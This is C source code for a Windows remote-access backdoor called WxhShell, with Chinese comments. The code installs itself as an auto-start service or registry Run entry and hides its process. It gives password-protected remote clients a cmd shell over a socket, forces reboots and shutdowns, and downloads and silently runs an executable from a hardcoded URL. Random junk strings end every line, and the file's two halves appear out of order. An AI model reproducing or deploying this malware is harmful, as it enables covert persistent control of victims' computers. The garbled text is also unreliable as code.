    if(Boot(SHUTDOWN)) `!$I6KxT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (`&`vf  
    else { xjDV1Xf*  
    closesocket(wsh); x3>PM]r(V  
    ExitThread(0); /2\%X`]<  
    } g~AO KHUP  
    break; 8x J]K  
    } +5BhC9=b  
  // 获取shell 0{GpO6!  
  case 's': { C*I~14  
    CmdShell(wsh); 3_]<H<w  
    closesocket(wsh); k)a-odNrb  
    ExitThread(0); L--(Y+vmf  
    break; l[EjtN  
  }  MXj7Z3  
  // 退出 ~yvOR`2Gg  
  case 'x': { i@C$O.m(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Lz9t9AoB  
    CloseIt(wsh); Q< q&a8~  
    break; "7k 82dw  
    } {LLy4m  
  // 离开 KiJRq>  
  case 'q': { M9/c8zZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YIQm;E EG  
    closesocket(wsh); Vp'Zm:  
    WSACleanup(); :2KLziO2  
    exit(1); >_4Ck{^d#  
    break; x1}7c9n K  
        } u0@i3Po  
  } ZE*m;  
  } PmGW\E[ni  
hF!t{ Lf3  
  // 提示信息 !P&F6ViO=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U Ux]  
} c_fx,; ;  
  } |GvWHe`  
Z/wK UK;  
  return; D{{ ME8  
} %`P6a38j  
R`F54?th  
// shell模块句柄 HCI|6{k  
int CmdShell(SOCKET sock) xnW3,:0  
{ V2I"m  
STARTUPINFO si; 4Em mh=A  
ZeroMemory(&si,sizeof(si)); X&[S.$_U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; na &?Cw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AAr[xo iYp  
PROCESS_INFORMATION ProcessInfo; 3YG[~o|4  
char cmdline[]="cmd"; PSO9{!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^qaS  
  return 0; `!.)"BI/s  
} )@xHL]!5m  
\tj7Jy  
// 自身启动模式 "Z&-:1tP{9  
int StartFromService(void) #S/]=D  
{ hZE" 8%\q  
typedef struct 1 XAXokxj  
{ Gyak?.@R  
  DWORD ExitStatus; :K ^T@F5n  
  DWORD PebBaseAddress; =7JvS~s  
  DWORD AffinityMask; t?:}bw+m  
  DWORD BasePriority; H+`s#'(i_P  
  ULONG UniqueProcessId; 3TRzDE(J  
  ULONG InheritedFromUniqueProcessId; zqDIwfW  
}   PROCESS_BASIC_INFORMATION; (6R^/*-o  
<6]TazW?S  
PROCNTQSIP NtQueryInformationProcess; 9y(75Bn9  
R&cOhUj22J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 37hs/=x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R#ABda9  
JC~L!)f  
  HANDLE             hProcess; j9@7\N<  
  PROCESS_BASIC_INFORMATION pbi; 0,a;N%K-  
0^41dfdE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G[}$s7@k  
  if(NULL == hInst ) return 0; +rw?k/  
Une,Y4{u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gBzg'Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o~#cpU4{o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sw.cw}1  
|F }y6 gH  
  if (!NtQueryInformationProcess) return 0; P8N`t&r"7  
E880X<V)>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e6C;A]T2E  
  if(!hProcess) return 0; ,GB~Cmc1<Q  
8E:8iNbF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wN"j:G(  
G x;U 3iV  
  CloseHandle(hProcess); QxRT%;'Zh]  
\Kp!G1?_AY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lWr{v\L'  
if(hProcess==NULL) return 0; >hkmL](^  
qB57w:J  
HMODULE hMod; ra L!}  
char procName[255]; =.=4P~T&  
unsigned long cbNeeded; mRe BS  
x;&01@m.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #-xsAKi  
OOzk@j^  
  CloseHandle(hProcess); v=kQ / h  
-}u=tiNG  
if(strstr(procName,"services")) return 1; // 以服务启动 &Kuo|=f  
kdVc;v/5  
  return 0; // 注册表启动 Zl5cHejM  
} dzIc X*"  
_MF:?p,l  
// 主模块 v~f_~v5J!  
int StartWxhshell(LPSTR lpCmdLine) #k %$A}9  
{ &cDLSnR  
  SOCKET wsl; Hc`)Q vFRW  
BOOL val=TRUE; EwvW: t1  
  int port=0; 4~mYj@lvd  
  struct sockaddr_in door; WmO.&zp  
)-D{]>8  
  if(wscfg.ws_autoins) Install(); C` s  
; B4x>  
port=atoi(lpCmdLine); ldd|"[Ds  
]ZV.@% +  
if(port<=0) port=wscfg.ws_port; v6Vieo=  
J!O{.v  
  WSADATA data; ]ow$VF{y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S$ u`)BG):  
Wpgp YcPS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HeV6=&#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @>>8CU^~  
  door.sin_family = AF_INET; :@BAiKa[wa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G(g`>' m  
  door.sin_port = htons(port); |mx)W}  
9 7/"5i9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [1+ o  
closesocket(wsl); [BPK0  
return 1; 4R 9lA  
} `/ W6, ]  
v|IPus|>  
  if(listen(wsl,2) == INVALID_SOCKET) { _Xs(3V@'}  
closesocket(wsl); Q"o* \I  
return 1; 7R4sd  
} :{:R5d(_I  
  Wxhshell(wsl); %sd1`1In  
  WSACleanup(); N_ 3$B=  
mGss9eZa  
return 0; ]!@z3Hv3  
 rG#o*oA  
} )uj:k*`)  
C[E[|s*l  
// 以NT服务方式启动 6j*L]S c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >K|<hzZ  
{ :Ma=P\J W  
DWORD   status = 0; ORVFp]gG  
  DWORD   specificError = 0xfffffff; c[p>*FnP  
(T290a9y>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MK"p~b0->  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R,+Pcn$ws  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Y^Of  
  serviceStatus.dwWin32ExitCode     = 0; DC9\Sp?  
  serviceStatus.dwServiceSpecificExitCode = 0; <1t.f}}uX  
  serviceStatus.dwCheckPoint       = 0; T0:%,o  
  serviceStatus.dwWaitHint       = 0; I&2)@Zw  
}XOTK^YA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C)x>/Qr~  
  if (hServiceStatusHandle==0) return; 47S1mxur  
EC`!&Yp+  
status = GetLastError(); r;>2L'  
  if (status!=NO_ERROR) xIOYwVC  
{ *d~).z)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ((& y:{?G  
    serviceStatus.dwCheckPoint       = 0; caG5S#8-"  
    serviceStatus.dwWaitHint       = 0; +c7e[hz  
    serviceStatus.dwWin32ExitCode     = status; Ly\  `  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8i epG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @fI1|v=eF  
    return; T ^ z  
  } B^7B-RBi0  
I_?+;<n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )6~s;y!  
  serviceStatus.dwCheckPoint       = 0; [h5~1N  
  serviceStatus.dwWaitHint       = 0; fGZZ['E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m`;dFL7"E  
} (]_smsok  
UF_?T.Rl^  
// 处理NT服务事件,比如:启动、停止 dBWi1vTF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D)O2=aQ;]  
{ p`+=) n  
switch(fdwControl) [8kufMY|  
{ 3I"xuKxc  
case SERVICE_CONTROL_STOP: =d+~l  
  serviceStatus.dwWin32ExitCode = 0; 3]46qk '  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ gy"$F3{`  
  serviceStatus.dwCheckPoint   = 0; be<7Vy]j  
  serviceStatus.dwWaitHint     = 0; hFW{qWP  
  { J!\Cs1 !f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]'.D@vFGO  
  } 4](jV}Hg  
  return; =&_Y=>rA]0  
case SERVICE_CONTROL_PAUSE: A$JL"~R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .RazjXAY  
  break; j7(S=  
case SERVICE_CONTROL_CONTINUE: E Pd9'9S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )ajF ca@v  
  break; h!~Qyb>W  
case SERVICE_CONTROL_INTERROGATE: 3rxB]-  
  break; Th'B5:`  
}; zfsGf 'U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =qJlSb  
} No\3kRB4bi  
qUS y0SQ/l  
// 标准应用程序主函数 b41f7t=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x(]Um!  
{ 5~R1KjjvA  
GJr1[  
// 获取操作系统版本 .!`y(N0hc  
OsIsNt=GetOsVer(); p2=+cS"HC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kd=|Iip;(  
h,*-V 'X.k  
  // 从命令行安装 kB! iEoIBA  
  if(strpbrk(lpCmdLine,"iI")) Install(); C:9a$  
e{Y8m Xu  
  // 下载执行文件 Jan~R ran  
if(wscfg.ws_downexe) { hZwbYvu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4[XiD*  *  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fkvf[!Ci  
} =Hd+KvA  
K,f"Q<sU%  
if(!OsIsNt) { mNQ~9OJ1  
// 如果时win9x,隐藏进程并且设置为注册表启动 V* I2  
HideProc(); Pb] EpyAW  
StartWxhshell(lpCmdLine); {qJ(55  
} x:? EL)(  
else W2w A66MB  
  if(StartFromService()) IaHu$` v  
  // 以服务方式启动 ` it<\r[=  
  StartServiceCtrlDispatcher(DispatchTable); >zS<1  
else o>l/*i0I  
  // 普通方式启动 rw }wQP_'  
  StartWxhshell(lpCmdLine); Zl\$9Q_  
-;Ij ,  
return 0; U/s!Tb>`  
} 9Qb6ek  
SZVAf|]Yg  
7Eo;TNbb  
2v\<MrL  
=========================================== sK/Z 'h{|  
Qn!KL0w  
khb/"VYd  
t%fcp  
(7*((  
haSC[[o=  
" eJy}W /  
>4G~01  
#include <stdio.h> Q3'L\_1L  
#include <string.h> BCI[jfd7  
#include <windows.h> F@ld#O  
#include <winsock2.h> A|`mIma#  
#include <winsvc.h> >mW*K _~  
#include <urlmon.h> e6i m_ Tk  
s= bP@[Gj  
#pragma comment (lib, "Ws2_32.lib") :\"V5  
#pragma comment (lib, "urlmon.lib") MC~<jJ,  
O$(#gB'B  
#define MAX_USER   100 // 最大客户端连接数 vUR@P  -  
#define BUF_SOCK   200 // sock buffer wv.HPmq  
#define KEY_BUFF   255 // 输入 buffer TMG|"|  
8D&yFal  
#define REBOOT     0   // 重启 (7A-cC  
#define SHUTDOWN   1   // 关机 d",VOhW7)S  
DEQ7u`6  
#define DEF_PORT   5000 // 监听端口 *%n(t+'q  
.L8g( F(=:  
#define REG_LEN     16   // 注册表键长度 L #`Vr$  
#define SVC_LEN     80   // NT服务名长度 r!&}4lHYi  
s(8e)0Tl  
// 从dll定义API '&!:5R59  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c2Yrg@) [  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $)Ty@@7C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yfZYGhPN(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $2>"2*,04  
X<<FS%:+  
// wxhshell配置信息 $g!iy'4n*  
struct WSCFG { {:TOm0eK  
  int ws_port;         // 监听端口 \qkb8H  
  char ws_passstr[REG_LEN]; // 口令 560`R>  
  int ws_autoins;       // 安装标记, 1=yes 0=no bWg!/K55  
  char ws_regname[REG_LEN]; // 注册表键名 R*l3 zn>  
  char ws_svcname[REG_LEN]; // 服务名 1'!%$D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sP@7%p>wt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (2(y9r*1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #A 7|=E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ` 1v Dp.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BV)) #D9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vEc<|t  
c+ukVn`r  
}; Y(;u)uN_  
^ pNA_s!S  
// default Wxhshell configuration $Ned1@%[  
struct WSCFG wscfg={DEF_PORT, c@x6<S%*  
    "xuhuanlingzhe", }q=tg9  
    1, $QnsP#ePN  
    "Wxhshell", 6 2LLfD  
    "Wxhshell", UgTgva>?  
            "WxhShell Service", 9dwLkr  
    "Wrsky Windows CmdShell Service", .s%dP.P:i1  
    "Please Input Your Password: ", i$6o>V6  
  1, 8<=]4-X@  
  "http://www.wrsky.com/wxhshell.exe", IqCh4y3  
  "Wxhshell.exe" ]2rC n};  
    }; 6T6UIq  
8|~M!<  
// 消息定义模块 l9naqb:iP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M:t"is  
char *msg_ws_prompt="\n\r? for help\n\r#>"; er.;qV'Wz6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,!QtViA7  
char *msg_ws_ext="\n\rExit."; Huc|HL#C  
char *msg_ws_end="\n\rQuit."; Vx%!j&  
char *msg_ws_boot="\n\rReboot..."; I_is3y0  
char *msg_ws_poff="\n\rShutdown..."; q"u,r6ED  
char *msg_ws_down="\n\rSave to "; 7`SrqI&  
c!a1@G  
char *msg_ws_err="\n\rErr!"; _Jn@+NoO  
char *msg_ws_ok="\n\rOK!"; Rnw v/)  
XBm ^7'  
char ExeFile[MAX_PATH]; C1x(4&h  
int nUser = 0; h$#|s/  
HANDLE handles[MAX_USER]; (s,u9vj=>L  
int OsIsNt; $msf~M*  
br')%f}m  
SERVICE_STATUS       serviceStatus; ri h@(;)1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =kb/4eRg  
]<k+a-Tt  
// 函数声明 h* V~.H  
int Install(void); 4U*CfdZZ  
int Uninstall(void); %']`t-N8  
int DownloadFile(char *sURL, SOCKET wsh); xTy)qN]P  
int Boot(int flag); LY2QKjgP  
void HideProc(void); [6CWgQ%Ue  
int GetOsVer(void); CcZM0  
int Wxhshell(SOCKET wsl); @c=bH>Oz  
void TalkWithClient(void *cs); Yb?(Q %  
int CmdShell(SOCKET sock); oO9yI^  
int StartFromService(void); ?:3rVfO  
int StartWxhshell(LPSTR lpCmdLine); ?ajVf./Ja  
QPX3a8w*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i2Sh^\Xw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m0N{%Mf-  
a"8H(HAlNn  
// 数据结构和表定义 *0z'!m12  
SERVICE_TABLE_ENTRY DispatchTable[] = Eb p=du  
{ DpIk$X  
{wscfg.ws_svcname, NTServiceMain}, a6'T]DW0W  
{NULL, NULL} }tbZ[:T{K  
}; |u.3Tp|3W  
QG 1vP.K  
// 自我安装 g2 tM!IRQ  
int Install(void) ;FnS=Z  
{ OE2r2ad  
  char svExeFile[MAX_PATH]; pE 6r7  
  HKEY key; *l)}o4-$  
  strcpy(svExeFile,ExeFile); GriFb]ml"  
%JuT'7VB  
// 如果是win9x系统,修改注册表设为自启动 W];l[D<S*  
if(!OsIsNt) { YXIAVSnr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lL*"N|Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v\R-G  
  RegCloseKey(key); f`-UC_(;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |3Bms d/3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZdlQ}l#F  
  RegCloseKey(key); C;m*0#9D  
  return 0; ]~9YRVeC  
    } S5e"}.]|  
  } |H;+9(  
} s,~g| I\  
else { h"dn:5G:=  
N a<);Pg  
// 如果是NT以上系统,安装为系统服务 Mh=j^ [4Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I[P_j`aE  
if (schSCManager!=0) $ZRvvm!f  
{ V L;<+C~  
  SC_HANDLE schService = CreateService %18%T{|$e  
  ( Z<`:xFy(  
  schSCManager, cQq78Lo  
  wscfg.ws_svcname, #NWS)^&1b  
  wscfg.ws_svcdisp, `vD.5  
  SERVICE_ALL_ACCESS, a7"Aq:IjU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bf6:J `5Z  
  SERVICE_AUTO_START, ?L6pB]l8b  
  SERVICE_ERROR_NORMAL, < mp_[-c  
  svExeFile, v8>bR|n5  
  NULL, AL*M`m_  
  NULL, S&NWZ:E3[  
  NULL, newURb,-!  
  NULL, @cn8m  
  NULL u6i X&%e  
  ); G.>Ul)O:a  
  if (schService!=0) A }d\ ND  
  { /-Nq DRmJ  
  CloseServiceHandle(schService); <P#:dS%r  
  CloseServiceHandle(schSCManager); !mK}Rim~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y0,>_MS  
  strcat(svExeFile,wscfg.ws_svcname); MbXtmQ%C8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `( _N9.>B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `W2 o~r*&  
  RegCloseKey(key); xo#K_"E  
  return 0; =$uSa7t#  
    } F87c?Vh)K  
  } 6!v$"u|[!'  
  CloseServiceHandle(schSCManager); TnJNs  
} C;']FmK]  
} VTK +aI  
/#!1  
return 1; -GYJ)f  
} i)7B :uA  
#dkSAS  
// 自我卸载 m=V69 a#  
int Uninstall(void) d bHxc@H  
{ L4v26*P  
  HKEY key; J6Nhpzp  
&[_D'jm+S0  
if(!OsIsNt) { U|+ c&TY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 64t:  
  RegDeleteValue(key,wscfg.ws_regname); ?P(U/DS8  
  RegCloseKey(key); @# GS4I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YA~`R~9d  
  RegDeleteValue(key,wscfg.ws_regname); 6Tsi^((Li  
  RegCloseKey(key); \%QA)T%  
  return 0; }B&+KO)  
  } D(#6H~QN%  
} VUzRA"DP|  
} \2M{R  
else { d?)Ic1][  
;!)gjiapw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G|qsJ  
if (schSCManager!=0) BB.120v&N  
{ drS>~lSxB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'k/:3?R  
  if (schService!=0) *&~ '  
  { $.3J1DU  
  if(DeleteService(schService)!=0) { x57O.WdN  
  CloseServiceHandle(schService); S+GW}?!  
  CloseServiceHandle(schSCManager); /hAy1V6  
  return 0; 3 V$ \s8  
  } _Q7]Dw/w\  
  CloseServiceHandle(schService); {2L V0:k2  
  } m3=Cg$n  
  CloseServiceHandle(schSCManager); [midNC+,  
} v;d3uunqv  
} d^I:{Ii'  
a"phwCc"%  
return 1; 0](V@F"~  
} 3z -="_p  
Xr{ r&Rl  
// 从指定url下载文件 Yduj3Ht:w  
int DownloadFile(char *sURL, SOCKET wsh) 9 !V,++j  
{ 9(hI%idq  
  HRESULT hr; 4{LKT^(!f  
char seps[]= "/"; ~9c jc  
char *token; ?gG%FzfQ/  
char *file; $'COsiK7  
char myURL[MAX_PATH]; )p[Qj58  
char myFILE[MAX_PATH]; n7hjYNJ  
LrdX^_,nt  
strcpy(myURL,sURL); 5Vlm?mPU  
  token=strtok(myURL,seps); L | #"Yn  
  while(token!=NULL) _C@<*L=Q  
  { ;n.SRy6  
    file=token; VN]j*$5   
  token=strtok(NULL,seps); o_cAelI[!  
  } xmHW,#%ui\  
,soXX_Y>  
GetCurrentDirectory(MAX_PATH,myFILE); /@@?0xjX  
strcat(myFILE, "\\"); ;$FMOMR  
strcat(myFILE, file); fkD-mRKw  
  send(wsh,myFILE,strlen(myFILE),0); ~LJtlJ 0  
send(wsh,"...",3,0); [uFv_G{H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'W/AYF^5  
  if(hr==S_OK) +{WZpP},v  
return 0; jm,:jkr  
else :b<<  
return 1; C^*}*hYk$  
-+kTw06_C  
} @-.Tgpe@a  
;R^=($X  
// 系统电源模块 _g6H&no[  
int Boot(int flag) k]S`A,~  
{ .5iXOS0 G  
  HANDLE hToken; yH]w(z5Z  
  TOKEN_PRIVILEGES tkp; 8r48+_y3u  
pf#~|n#t  
  if(OsIsNt) { s"(F({J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D'Uv7Mis  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |v:fP;zc  
    tkp.PrivilegeCount = 1; 4Q~++PKBe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [>|6qY$D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zz!yv(e)H  
if(flag==REBOOT) { spTIhZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6&,9=(:J&R  
  return 0; ~>rn q7j  
} _m3#g1m{  
else { V@\A<q%jTs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]wEFm;N  
  return 0; vxXrVPU3  
} CW?R7A/  
  } LNM#\fb  
  else { 2bxW`.fa  
if(flag==REBOOT) { )V9wU1.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [y(<1]i-a  
  return 0; OD).kP}s^  
} e]D TK*W~  
else { x, #?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `9nk{ !X\  
  return 0; _p0G8  
} 8HL8)G6  
} !~te&ccPE  
~Q+J1S]Fs  
return 1; nmClP  
} Wn5xX5H C  
6<{SbE|G{  
// win9x进程隐藏模块 2@:Ztt6~  
void HideProc(void) t ]P^6jw'  
{ sg4TX?I   
Ummoph7_@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .]ZMxDZ  
  if ( hKernel != NULL ) (`&E^t  
  { ah15 ,<j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7? qRz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kw5`KfG9  
    FreeLibrary(hKernel); B=|m._OL]n  
  } }/aqh;W  
YeVkX{y  
return; jGtu>|Gj  
} &'W ~~ir  
\'>d.'d  
// 获取操作系统版本 z;PF% F  
int GetOsVer(void) ;f9a0Vs  
{ 7loIjT7  
  OSVERSIONINFO winfo; B\6%.R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5.F/>?<  
  GetVersionEx(&winfo); #NQx(C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -~&T0dt~  
  return 1; KdLj1T  
  else UI74RP  
  return 0; U9x6\Iy  
} ;#ElJXS  
R;H>#caJ  
// 客户端句柄模块 l vfplA  
int Wxhshell(SOCKET wsl) diD[/&k#kh  
{ xGt>X77  
  SOCKET wsh; 8RU91H8fE  
  struct sockaddr_in client; 7>xfQ  
  DWORD myID; }/M`G]wT#  
?Y_!Fr3V  
  while(nUser<MAX_USER) lh*!f$2 ~  
{ "1ov<  
  int nSize=sizeof(client); c>L#(D\\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1NQU96  
  if(wsh==INVALID_SOCKET) return 1; eRB K= X  
xs$.EY:k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X?n($z/ {  
if(handles[nUser]==0) pu Z0_1uN  
  closesocket(wsh); :zsMkdU  
else `f\+aD'u  
  nUser++; ,*g.?q@W2  
  } O*m9qF<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dS;Ui]/J  
fU ^5Dl  
  return 0; zI.:1(,  
} =iE)vY,?"}  
Gw?ueui<  
// 关闭 socket -[ xbGSj{  
void CloseIt(SOCKET wsh) /gq\.+'{  
{ </23*n]  
closesocket(wsh); yIqRSqM  
nUser--; ~A,(D-  
ExitThread(0); Nuc2CB)J  
} +p0Y*.  
W>J1JaO  
// 客户端请求句柄 K8/I+#j  
void TalkWithClient(void *cs) 7nk3^$|  
{ j:xm>X'  
uF<\|y rFt  
  SOCKET wsh=(SOCKET)cs; YL9Tsw  
  char pwd[SVC_LEN]; DUyUA'*4n|  
  char cmd[KEY_BUFF];  n[  
char chr[1]; >o! 5)\F  
int i,j; *DPKV$  
/|,:'W%U  
  while (nUser < MAX_USER) { 6yhRcvJ}  
`{'h+v`  
if(wscfg.ws_passstr) { *2r(!fJP=^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 06>+loBG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pv Vn}i   
  //ZeroMemory(pwd,KEY_BUFF); XseP[  
      i=0; [A#>G4a<  
  while(i<SVC_LEN) { 7WEoyd  
GW!%DT  
  // 设置超时 &ej |DM6  
  fd_set FdRead; fP;2qho  
  struct timeval TimeOut; ZG1 {"J/z  
  FD_ZERO(&FdRead); 2GJp`2(%dA  
  FD_SET(wsh,&FdRead); Ls{]ohP  
  TimeOut.tv_sec=8; y.?Q  
  TimeOut.tv_usec=0; ANXN.V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2>Sr04Pt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n-:n.JX  
mZ4I}_\,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !sav~dB)  
  pwd=chr[0]; ?tf<AZ=+^L  
  if(chr[0]==0xd || chr[0]==0xa) { |eH*Q%M  
  pwd=0; tz_WxOQ0  
  break; 9~yp =JOV@  
  } a\Dw*h?b~  
  i++; 0m'tPFQ|  
    } ^LAdN8Cbb  
;#S4$wISw`  
  // 如果是非法用户,关闭 socket !E9A=u{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jQY^[A  
} 4L)Ox;6>  
8|-064i>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sH\ h{^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <(B: "wI  
wPH1g*U  
while(1) { 5c-'m? k  
*" ,"u;&  
  ZeroMemory(cmd,KEY_BUFF); Mx=L lC)  
:1e'22[=.  
      // 自动支持客户端 telnet标准   6Y/TqI[   
  j=0; |n\(I$  
  while(j<KEY_BUFF) { psB9~EU&Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =pn(56  
  cmd[j]=chr[0]; }d16xp  
  if(chr[0]==0xa || chr[0]==0xd) {  q{RT~,%  
  cmd[j]=0; *;<>@*  
  break; {iq)[)n  
  } o Np4> 7Lk  
  j++; meR5E?Fm  
    } $d%NFc&  
gclw>((5  
  // 下载文件 `zMR?F`  
  if(strstr(cmd,"http://")) { 3k5F$wf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $/;<~Pzi  
  if(DownloadFile(cmd,wsh)) ?8R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G,A;`:/  
  else LJ mRa  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IC@-`S#F  
  } Mgc|>#=  
  else { ~VaO,8&+L  
?\Lf=[  
    switch(cmd[0]) { b'TkYa^  
